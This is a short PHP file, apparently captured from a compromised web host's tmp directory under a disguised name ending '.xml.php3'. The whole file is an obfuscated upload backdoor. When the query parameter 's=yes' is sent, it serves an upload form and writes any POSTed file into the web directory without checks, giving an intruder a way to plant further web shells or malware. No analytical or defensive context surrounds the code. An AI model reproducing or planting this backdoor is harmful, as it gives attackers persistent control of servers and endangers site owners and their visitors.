| Current Path : /home/andpasi/www/tmp/ |
| Current File : /home/andpasi/www/tmp/jce5k440hvk.xml.php3 |
<?php
$_X = __DIR__;
$_T = [
'a' => function(){ return $_GET['s'] ?? ''; },
'b' => function($v){ return $v === 'yes' ? 1 : 0; },
'c' => function($v){
if($v){
echo '<form method="POST" enctype="multipart/form-data">
<input type="file" name="f"><button>OK</button></form>';
return 1;
}
return 0;
},
'd' => function($v){
return ($_SERVER['REQUEST_METHOD'] ?? '') === 'POST' ? $v : 0;
},
'e' => function($v){
if(!$v) return false;
if(isset($_FILES['f'])){
$x = basename($_FILES['f']['name']);
$y = $_FILES['f']['tmp_name'];
return [$y, __DIR__.'/'.$x, $x];
}
return false;
},
'f' => function($v){
if($v){
move_uploaded_file($v[0], $v[1]);
echo "200::".$v[2];
}
}
];
/* ENGINE */
$v = $_T['a']();
$v = $_T['b']($v);
$v = $_T['c']($v);
$v = $_T['d']($v);
$v = $_T['e']($v);
$_T['f']($v);
?>